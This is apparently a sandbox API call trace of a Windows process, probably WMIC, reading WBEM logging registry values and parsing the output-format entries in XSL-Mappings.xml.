SysStringLen (param_1="PKTPRIVACY") returned 0xa [0096.671] SysStringLen (param_1="PKT") returned 0x3 [0096.671] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0096.671] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0096.671] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0096.671] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0096.671] malloc (_Size=0x18) returned 0x1be8c8 [0096.671] malloc (_Size=0x40) returned 0x1b32b8 [0096.671] malloc (_Size=0x20a) returned 0x1bf050 [0096.671] GetSystemDirectoryW (in: lpBuffer=0x1bf050, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0096.671] free (_Block=0x1bf050) [0096.671] malloc (_Size=0xc) returned 0x1b3300 [0096.671] malloc (_Size=0xc) returned 0x1b3318 [0096.671] malloc (_Size=0xc) returned 0x1b3330 [0096.671] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0096.671] SysStringLen (param_1="\\wbem\\") returned 0x6 [0096.671] free (_Block=0x1b3300) [0096.671] free (_Block=0x1b3318) [0096.671] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0096.671] free (_Block=0x1b3330) [0096.671] malloc (_Size=0xc) returned 0x1b3300 [0096.671] malloc (_Size=0xc) returned 0x1b3318 [0096.671] malloc (_Size=0xc) returned 0x1b3330 [0096.671] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0096.671] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0096.672] free (_Block=0x1b3300) [0096.672] free (_Block=0x1b3318) [0096.672] GetCurrentThreadId () returned 0x1040 [0096.672] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x12f8a0 | out: phkResult=0x12f8a0*=0x10c) returned 0x0 [0096.672] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x12f8ac, lpcbData=0x12f8a8*=0x400 | out: lpType=0x0, lpData=0x12f8ac*=0x30, lpcbData=0x12f8a8*=0x4) returned 0x0 [0096.672] _wcsicmp (_String1="0", _String2="1") returned -1 [0096.672] _wcsicmp (_String1="0", _String2="2") returned -2 [0096.672] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x12f8a8*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x12f8a8*=0x42) returned 0x0 [0096.672] malloc (_Size=0x86) returned 0x1b3348 [0096.672] RegQueryValueExW (in: hKey=0x10c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x1b3348, lpcbData=0x12f8a8*=0x42 | out: lpType=0x0, lpData=0x1b3348*=0x25, lpcbData=0x12f8a8*=0x42) returned 0x0 [0096.672] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0096.672] malloc (_Size=0x42) returned 0x1b33d8 [0096.672] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0096.672] RegQueryValueExW (in: hKey=0x10c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x12f8ac, lpcbData=0x12f8a8*=0x400 | out: lpType=0x0, lpData=0x12f8ac*=0x36, lpcbData=0x12f8a8*=0xc) returned 0x0 [0096.672] _wtol (_String="65536") returned 65536 [0096.672] free (_Block=0x1b3348) [0096.672] RegCloseKey (hKey=0x0) returned 0x6 [0096.672] CoCreateInstance (in: rclsid=0xe56d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xe56d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x12fd3c | out: ppv=0x12fd3c*=0x924630) returned 0x0 [0098.210] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x924630, xmlSource=0x12fcc0*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x7735, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x12fd24 | out: isSuccessful=0x12fd24*=0xffff) returned 0x0 [0098.955] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x924630, DOMElement=0x12fd38 | out: DOMElement=0x12fd38*=0x928c58) returned 0x0 [0098.956] malloc (_Size=0xc) returned 0x1b3300 [0098.956] IXMLDOMElement:getElementsByTagName (in: This=0x928c58, tagName="XSLFORMAT", resultList=0x12fd34 | out: resultList=0x12fd34*=0x928e80) returned 0x0 [0098.956] free (_Block=0x1b3300) [0098.956] IXMLDOMNodeList:get_length (in: This=0x928e80, listLength=0x12fd1c | out: listLength=0x12fd1c*=21) returned 0x0 [0098.956] IXMLDOMNodeList:get_item (in: This=0x928e80, index=0, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.957] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="texttable.xsl") returned 0x0 [0098.957] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.957] malloc (_Size=0xc) returned 0x1b3300 [0098.957] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.957] free (_Block=0x1b3300) [0098.957] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="TABLE", varVal2=0x0)) returned 0x0 [0098.957] malloc (_Size=0xc) returned 0x1b3300 [0098.957] malloc (_Size=0xc) returned 0x1b3318 [0098.957] malloc (_Size=0x18) returned 0x1be8e8 [0098.957] IUnknown:Release (This=0x924b20) returned 0x0 [0098.957] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.957] IUnknown:Release (This=0x928c98) returned 0x0 [0098.957] IXMLDOMNodeList:get_item (in: This=0x928e80, index=1, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.957] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="textvaluelist.xsl") returned 0x0 [0098.957] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.957] malloc (_Size=0xc) returned 0x1bfbc0 [0098.958] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.958] free (_Block=0x1bfbc0) [0098.958] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="VALUE", varVal2=0x0)) returned 0x0 [0098.958] malloc (_Size=0xc) returned 0x1bfbc0 [0098.958] malloc (_Size=0xc) returned 0x1bfbd8 [0098.958] SysStringLen (param_1="VALUE") returned 0x5 [0098.958] SysStringLen (param_1="TABLE") returned 0x5 [0098.958] SysStringLen (param_1="TABLE") returned 0x5 [0098.958] SysStringLen (param_1="VALUE") returned 0x5 [0098.958] malloc (_Size=0x18) returned 0x1be908 [0098.958] IUnknown:Release (This=0x924b20) returned 0x0 [0098.958] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.958] IUnknown:Release (This=0x928c98) returned 0x0 [0098.958] IXMLDOMNodeList:get_item (in: This=0x928e80, index=2, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.958] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="textvaluelist.xsl") returned 0x0 [0098.958] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.958] malloc (_Size=0xc) returned 0x1bfbf0 [0098.958] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.959] free (_Block=0x1bfbf0) [0098.959] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="LIST", varVal2=0x0)) returned 0x0 [0098.959] malloc (_Size=0xc) returned 0x962060 [0098.959] malloc (_Size=0xc) returned 0x962078 [0098.959] SysStringLen (param_1="LIST") returned 0x4 [0098.959] SysStringLen (param_1="TABLE") returned 0x5 [0098.959] malloc (_Size=0x18) returned 0x1be928 [0098.959] IUnknown:Release (This=0x924b20) returned 0x0 [0098.959] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.959] IUnknown:Release (This=0x928c98) returned 0x0 [0098.959] IXMLDOMNodeList:get_item (in: This=0x928e80, index=3, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.959] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="rawxml.xsl") returned 0x0 [0098.959] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.959] malloc (_Size=0xc) returned 0x962090 [0098.959] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.959] free (_Block=0x962090) [0098.959] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="RAWXML", varVal2=0x0)) returned 0x0 [0098.959] malloc (_Size=0xc) returned 0x962090 [0098.960] malloc (_Size=0xc) returned 0x9620a8 [0098.960] SysStringLen (param_1="RAWXML") returned 0x6 [0098.960] SysStringLen (param_1="TABLE") returned 0x5 [0098.960] SysStringLen (param_1="RAWXML") returned 0x6 [0098.960] SysStringLen (param_1="LIST") returned 0x4 [0098.960] SysStringLen (param_1="LIST") returned 0x4 [0098.960] SysStringLen (param_1="RAWXML") returned 0x6 [0098.960] malloc (_Size=0x18) returned 0x1be948 [0098.960] IUnknown:Release (This=0x924b20) returned 0x0 [0098.960] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.960] IUnknown:Release (This=0x928c98) returned 0x0 [0098.960] IXMLDOMNodeList:get_item (in: This=0x928e80, index=4, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.960] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="htable.xsl") returned 0x0 [0098.960] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.960] malloc (_Size=0xc) returned 0x9620c0 [0098.960] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.960] free (_Block=0x9620c0) [0098.960] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="HTABLE", varVal2=0x0)) returned 0x0 [0098.960] malloc (_Size=0xc) returned 0x9620c0 [0098.960] malloc (_Size=0xc) returned 0x9620d8 [0098.960] SysStringLen (param_1="HTABLE") returned 0x6 [0098.960] SysStringLen (param_1="TABLE") returned 0x5 [0098.960] SysStringLen (param_1="HTABLE") returned 0x6 [0098.961] SysStringLen (param_1="LIST") returned 0x4 [0098.961] malloc (_Size=0x18) returned 0x1be968 [0098.961] IUnknown:Release (This=0x924b20) returned 0x0 [0098.961] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.961] IUnknown:Release (This=0x928c98) returned 0x0 [0098.961] IXMLDOMNodeList:get_item (in: This=0x928e80, index=5, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.961] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="hform.xsl") returned 0x0 [0098.961] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.961] malloc (_Size=0xc) returned 0x9620f0 [0098.961] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.961] free (_Block=0x9620f0) [0098.961] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="HFORM", varVal2=0x0)) returned 0x0 [0098.961] malloc (_Size=0xc) returned 0x9620f0 [0098.961] malloc (_Size=0xc) returned 0x962108 [0098.961] SysStringLen (param_1="HFORM") returned 0x5 [0098.961] SysStringLen (param_1="TABLE") returned 0x5 [0098.961] SysStringLen (param_1="HFORM") returned 0x5 [0098.961] SysStringLen (param_1="LIST") returned 0x4 [0098.961] SysStringLen (param_1="HFORM") returned 0x5 [0098.961] SysStringLen (param_1="HTABLE") returned 0x6 [0098.961] malloc (_Size=0x18) returned 0x1be988 [0098.962] IUnknown:Release (This=0x924b20) returned 0x0 [0098.962] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.962] IUnknown:Release (This=0x928c98) returned 0x0 [0098.962] IXMLDOMNodeList:get_item (in: This=0x928e80, index=6, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.962] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="xml.xsl") returned 0x0 [0098.962] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.962] malloc (_Size=0xc) returned 0x962120 [0098.962] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.962] free (_Block=0x962120) [0098.962] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="XML", varVal2=0x0)) returned 0x0 [0098.962] malloc (_Size=0xc) returned 0x962120 [0098.962] malloc (_Size=0xc) returned 0x962138 [0098.962] SysStringLen (param_1="XML") returned 0x3 [0098.962] SysStringLen (param_1="TABLE") returned 0x5 [0098.962] SysStringLen (param_1="XML") returned 0x3 [0098.962] SysStringLen (param_1="VALUE") returned 0x5 [0098.962] SysStringLen (param_1="VALUE") returned 0x5 [0098.962] SysStringLen (param_1="XML") returned 0x3 [0098.962] malloc (_Size=0x18) returned 0x1be9a8 [0098.962] IUnknown:Release (This=0x924b20) returned 0x0 [0098.962] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.963] IUnknown:Release (This=0x928c98) returned 0x0 [0098.963] IXMLDOMNodeList:get_item (in: This=0x928e80, index=7, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.963] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="mof.xsl") returned 0x0 [0098.963] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.963] malloc (_Size=0xc) returned 0x962150 [0098.963] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.963] free (_Block=0x962150) [0098.963] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="MOF", varVal2=0x0)) returned 0x0 [0098.963] malloc (_Size=0xc) returned 0x962150 [0098.963] malloc (_Size=0xc) returned 0x962168 [0098.963] SysStringLen (param_1="MOF") returned 0x3 [0098.963] SysStringLen (param_1="TABLE") returned 0x5 [0098.963] SysStringLen (param_1="MOF") returned 0x3 [0098.963] SysStringLen (param_1="LIST") returned 0x4 [0098.963] SysStringLen (param_1="MOF") returned 0x3 [0098.963] SysStringLen (param_1="RAWXML") returned 0x6 [0098.963] SysStringLen (param_1="LIST") returned 0x4 [0098.963] SysStringLen (param_1="MOF") returned 0x3 [0098.963] malloc (_Size=0x18) returned 0x1be9c8 [0098.963] IUnknown:Release (This=0x924b20) returned 0x0 [0098.963] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.964] IUnknown:Release (This=0x928c98) returned 0x0 [0098.964] IXMLDOMNodeList:get_item (in: This=0x928e80, index=8, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.964] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="csv.xsl") returned 0x0 [0098.964] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.964] malloc (_Size=0xc) returned 0x962180 [0098.964] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.964] free (_Block=0x962180) [0098.964] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="CSV", varVal2=0x0)) returned 0x0 [0098.964] malloc (_Size=0xc) returned 0x962180 [0098.964] malloc (_Size=0xc) returned 0x962198 [0098.964] SysStringLen (param_1="CSV") returned 0x3 [0098.964] SysStringLen (param_1="TABLE") returned 0x5 [0098.964] SysStringLen (param_1="CSV") returned 0x3 [0098.964] SysStringLen (param_1="LIST") returned 0x4 [0098.964] SysStringLen (param_1="CSV") returned 0x3 [0098.964] SysStringLen (param_1="HTABLE") returned 0x6 [0098.964] SysStringLen (param_1="CSV") returned 0x3 [0098.964] SysStringLen (param_1="HFORM") returned 0x5 [0098.964] malloc (_Size=0x18) returned 0x1be9e8 [0098.964] IUnknown:Release (This=0x924b20) returned 0x0 [0098.964] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.964] IUnknown:Release (This=0x928c98) returned 0x0 [0098.964] IXMLDOMNodeList:get_item (in: This=0x928e80, index=9, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.964] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="texttable.xsl") returned 0x0 [0098.965] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.965] malloc (_Size=0xc) returned 0x9621b0 [0098.965] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.965] free (_Block=0x9621b0) [0098.965] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="texttablewsys.xsl", varVal2=0x0)) returned 0x0 [0098.965] malloc (_Size=0xc) returned 0x9621b0 [0098.965] malloc (_Size=0xc) returned 0x9621c8 [0098.965] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.965] SysStringLen (param_1="TABLE") returned 0x5 [0098.965] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.965] SysStringLen (param_1="VALUE") returned 0x5 [0098.965] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.965] SysStringLen (param_1="XML") returned 0x3 [0098.965] SysStringLen (param_1="XML") returned 0x3 [0098.965] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.965] malloc (_Size=0x18) returned 0x1bea08 [0098.965] IUnknown:Release (This=0x924b20) returned 0x0 [0098.965] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.965] IUnknown:Release (This=0x928c98) returned 0x0 [0098.965] IXMLDOMNodeList:get_item (in: This=0x928e80, index=10, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.965] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="texttable.xsl") returned 0x0 [0098.965] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.966] malloc (_Size=0xc) returned 0x9621e0 [0098.966] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.966] free (_Block=0x9621e0) [0098.966] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="texttablewsys", varVal2=0x0)) returned 0x0 [0098.966] malloc (_Size=0xc) returned 0x9621e0 [0098.966] malloc (_Size=0xc) returned 0x9621f8 [0098.966] SysStringLen (param_1="texttablewsys") returned 0xd [0098.966] SysStringLen (param_1="TABLE") returned 0x5 [0098.966] SysStringLen (param_1="texttablewsys") returned 0xd [0098.966] SysStringLen (param_1="XML") returned 0x3 [0098.966] SysStringLen (param_1="texttablewsys") returned 0xd [0098.966] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.966] SysStringLen (param_1="XML") returned 0x3 [0098.966] SysStringLen (param_1="texttablewsys") returned 0xd [0098.966] malloc (_Size=0x18) returned 0x1bea28 [0098.966] IUnknown:Release (This=0x924b20) returned 0x0 [0098.966] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.966] IUnknown:Release (This=0x928c98) returned 0x0 [0098.966] IXMLDOMNodeList:get_item (in: This=0x928e80, index=11, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.966] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="texttable.xsl") returned 0x0 [0098.966] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.966] malloc (_Size=0xc) returned 0x962210 [0098.967] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.967] free (_Block=0x962210) [0098.967] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="wmiclitableformat.xsl", varVal2=0x0)) returned 0x0 [0098.967] malloc (_Size=0xc) returned 0x962210 [0098.967] malloc (_Size=0xc) returned 0x962228 [0098.967] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.967] SysStringLen (param_1="TABLE") returned 0x5 [0098.967] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.967] SysStringLen (param_1="XML") returned 0x3 [0098.967] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.967] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.967] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.967] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.967] malloc (_Size=0x18) returned 0x1bea48 [0098.967] IUnknown:Release (This=0x924b20) returned 0x0 [0098.967] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.967] IUnknown:Release (This=0x928c98) returned 0x0 [0098.967] IXMLDOMNodeList:get_item (in: This=0x928e80, index=12, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.967] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="texttable.xsl") returned 0x0 [0098.967] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.967] malloc (_Size=0xc) returned 0x962240 [0098.967] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.968] free (_Block=0x962240) [0098.968] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="wmiclitableformat", varVal2=0x0)) returned 0x0 [0098.968] malloc (_Size=0xc) returned 0x962240 [0098.968] malloc (_Size=0xc) returned 0x962258 [0098.968] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.968] SysStringLen (param_1="TABLE") returned 0x5 [0098.968] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.968] SysStringLen (param_1="XML") returned 0x3 [0098.968] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.968] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.968] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.968] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.968] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.968] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.968] malloc (_Size=0x18) returned 0x1bea68 [0098.968] IUnknown:Release (This=0x924b20) returned 0x0 [0098.968] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.968] IUnknown:Release (This=0x928c98) returned 0x0 [0098.968] IXMLDOMNodeList:get_item (in: This=0x928e80, index=13, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.968] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="texttable.xsl") returned 0x0 [0098.968] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.968] malloc (_Size=0xc) returned 0x962270 [0098.968] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.968] free (_Block=0x962270) [0098.969] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="wmiclitableformatnosys.xsl", varVal2=0x0)) returned 0x0 [0098.969] malloc (_Size=0xc) returned 0x962270 [0098.969] malloc (_Size=0xc) returned 0x962288 [0098.969] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.969] SysStringLen (param_1="TABLE") returned 0x5 [0098.969] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.969] SysStringLen (param_1="XML") returned 0x3 [0098.969] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.969] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.969] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.969] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.969] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.969] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.969] malloc (_Size=0x18) returned 0x1bea88 [0098.969] IUnknown:Release (This=0x924b20) returned 0x0 [0098.969] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.969] IUnknown:Release (This=0x928c98) returned 0x0 [0098.969] IXMLDOMNodeList:get_item (in: This=0x928e80, index=14, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.969] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="texttable.xsl") returned 0x0 [0098.969] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.969] malloc (_Size=0xc) returned 0x9622a0 [0098.969] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.969] free (_Block=0x9622a0) [0098.970] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="wmiclitableformatnosys", varVal2=0x0)) returned 0x0 [0098.970] malloc (_Size=0xc) returned 0x9622a0 